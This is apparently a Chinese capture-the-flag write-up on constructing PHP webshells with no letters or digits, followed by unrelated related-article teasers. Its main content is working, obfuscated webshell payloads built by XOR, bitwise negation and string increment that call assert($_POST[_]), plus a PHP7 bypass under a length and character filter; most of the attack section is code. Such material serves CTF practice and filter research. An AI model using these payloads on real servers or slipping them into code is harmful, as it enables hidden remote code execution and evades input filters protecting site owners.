Round 1

代码如下:

<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}

思路

将非字母、数字的字符经过各种变换,最后能构造出a-z中任意一个字符。然后再利用PHP允许动态函数执行的特点,拼接处一个函数名,如“assert”,然后动态执行之即可。那么,变换方法 将是解决本题的要点。

不过在此之前,需要了解php5和PHP7的一些差异。

php5中assert是一个函数,我们可以通过$f='assert';$f(...);这样的方法来动态执行任意代码。

但php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点。但也无需过于担心,比如我们利用file_put_contents函数,同样可以用来getshell。

下文均使用PHP5作为测试环境。

方法一

在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。

得到如下的结果(因为其中存在很多不可打印字符,所以用url编码表示了):

$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';

$__='_'.('%0D'^']').('%12'^']').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

执行结果如下:

方法二

和方法一有异曲同工之妙,唯一差异就是,方法一使用的是位运算里的“异或”,方法二使用的是位运算里的“取反”。利用UTF-8编码的某个汉字,并将其中某个字符取出来,比如'和'{2}的结果是"\x8c",其取反即为字母s

<?php
$__=('>'>'<')+('>'>'<'); echo ~('和'{$__});
?>
//s

这里还利用了PHP的弱类型特性。因为要获取'和'{2},就必须有数字2。而PHP由于弱类型这个特性,true的值为1,故true+true==2,也就是('>'>'<')+('>'>'<')==2

利用这个特性,可生成如下答案:

<?php
$__=('>'>'<')+('>'>'<'); //$__ =2
$_=$__/$__; //$_=1 $____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__}); $_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_}); $_=$$_____;
$____($_[$__]);

执行结果如下:

方法三

借助PHP的一个小技巧,文档: http://php.net/manual/zh/language.operators.increment.php

也就是说,'a'++ => 'b''b'++ => 'c'... 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。

那么,如何拿到一个值为字符串'a'的变量呢?

数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。

在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array

再取这个字符串的第一个字母,就可以获得'A'了。

利用这个技巧,编写了如下webshell(因为PHP函数是大小写不敏感的,所以我们最终执行的是ASSERT($_POST[_]),无需获取小写a):

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_; // A
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__; //ASSERT $____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__; //POST $_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

执行结果如下:(别忘了进行URL编码)

Round 2

代码如下:

<?php
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}

round1里面介绍了如何构造无字母数字的webshell。其中有两个主要的思路:1、利用位运算 ;2、利用自增运算符。

这道题多了两个限制:1、webshell长度不超过35位; 2、除了不包含字母数字,还不能包含$_

round1中给出的所有方法,都用到了PHP中的变量,需要对变量进行变形、异或、取反等操作,最后动态执行函数。但现在,因为$不能使用了,所以我们无法构造PHP中的变量。

PHP7下解决

php7中修改了表达式执行的顺序:http://php.net/manual/zh/migration70.incompatible.php :

PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过('phpinfo')();来执行函数,第一个括号中可以是任意PHP表达式。

所以很简单了,构造一个可以生成phpinfo这个字符串的PHP表达式即可。payload如下(不可见字符用url编码表示):

(~%8F%97%8F%96%91%99%90)();

执行结果如下:

php5下解决

参考:https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

参考:

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

不使用数字和字母的PHP webshell的更多相关文章

  1. 记一次拿webshell踩过的坑(如何用PHP编写一个不包含数字和字母的后门)

    0x01 前言 最近在做代码审计的工作中遇到了一个难题,题目描述如下: <?php include 'flag.php'; if(isset($_GET['code'])){ $code = $ ...

  2. 数字与字母混合生成流水号规则--ASP实现

    最近遇到一个比较奇葩的事情,自己所负责的一个系统出现一个流水号用完的问题:正常情况下,流水号用完应该增加多位来解决这个问题.鉴于各种因素,最后决定:位数不变,增加字母进去,当数字用完后,会出现字母,而 ...

  3. Android editview 设置只能输入数字、字母和汉字

    Android editview 设置只能输入数字.字母和汉字 当处理密码.昵称等特殊情况的时候,往往需要对输入内容加以限制.对于单纯的一种输入法限制可以对键盘和editview熟悉进行控制,而对于多 ...

  4. 自定义easyui整数或者数字、字母或者下划线验证方法

    $.extend($.fn.validatebox.defaults.rules, { intOrFloat: {// 验证整数或小数 validator: function (value) { re ...

  5. C# 使用js正则表达式,让文本框只能输入数字和字母,最大长度5位

    使用js正则表达式,让文本框只能输入数字和字母,最大长度5位,只需要加个onkeyup事件,即可简单实现 <asp:TextBox ID="txtBegin" runat=& ...

  6. 用Jquery控制文本框只能输入数字和字母

    用Jquery控制文本框只能输入数字和字母 $.fn.onlyNum = function () { $(this).keypress(function (event) { var eventObj ...

  7. 一句JS搞定只允许输入数字和字母

    一句JS搞定输入框只允许用户输入数字和字母类型的内容,对象是input输入框,当然也可以其它对象,只不过input输入框用的频率非常高.一句代码,不信么?那就看下边代码: <INPUT clas ...

  8. 把EXCEL列号数字变成字母

    把Excel 列号数字变成字母 private static string ToName(int index) { if (index < 0) { throw new Exception(&q ...

  9. 随机生成N个字符(包含数字和字母)

    '************************************************************* ' Name: GetRandomString ' Purpose: 随机 ...

随机推荐

  1. windows server2012搭建邮箱服务器+客户端界面(hmailserver+afterlogic)+批量创建邮箱

    1.简介 由于需要较多邮箱,如果去注册需要很多的手机号码去验证,一个人不可能买一堆的手机号,所以自己搭建一个邮箱服务器可以大批量的创建自己的邮箱账号和收发邮件. 2.安装部署hmailserver 下 ...

  2. Kubernetes:健康检查

    Blog:博客园 个人 应用在运行过程中难免会出现错误,如程序异常.软件异常.硬件故障.网络故障等.因此,系统通过一些手段来判断应用是否运行正常,这些手段称之为健康检查(诊断). 前置知识 回顾一下P ...

  3. python文件操作方式

    一.文件操作 1.什么是文件 文件是操作系统暴露给用户能够快捷方便操作硬盘的快捷方式(接口) 2.代码如何操作文件 关键字:open() 三步走: 1.利用关键字open打开文件 2.利用其他方法操作 ...

  4. Solution -「CCO 2019」「洛谷 P5532」Sirtet

    \(\mathcal{Description}\)   Link.   在一个 \(n\times m\) 的网格图中,每个格子上是空白 . 或沙子 #,四联通的沙子会连成一个整体.令此时所有沙子块同 ...

  5. 今天你花里胡哨了吗 --- 定制属于自己的linux ssh迎宾信息

    请开始你的表演 linux-oz6w:~ # cat << 'eof' > /etc/profile.d/ssh-login-info.sh #!/bin/sh # 输出一个图像 e ...

  6. Spring中publish如何将多个Event和多个Listener进行无误差匹配

    从命令模式的维度理解Spring 之Application Event - 池塘里洗澡的鸭子 - 博客园 (cnblogs.com)中通自定义简单的Event和Listener阐述了Spring中pu ...

  7. 五、MyBatis缓存初体验

    缓存就是内存中的数据,常常来自对数据库查询结果的保存,使用缓存, 我们可以避免频繁的与数据库进行交互, 进而提高响应速度. 一级缓存初体验(session,默认打开) 同一查询执行两次以上:selec ...

  8. AngularJS 打算开始学习

    作为朋友推荐给我的一款框架 个人感觉还不错  打算开始学习

  9. BGP4协议测试——信而泰网络测试仪实操

    文章关键词 BGP:路由测试:协议测试:矢量路由协议: 一.前言: BGP是自治系统外部路由协议,用来在AS之间传递路由信息 路径矢量路由协议,从设计上避免了环路的发生 其路由信息中携带了所经过的全部 ...

  10. shell脚本读取命令行的参数

    转至:https://www.cnblogs.com/eternityz/p/13879836.html 前提 在编写shell程序时经常需要处理命令行参数 选项与参数: 如下命令行: ./test. ...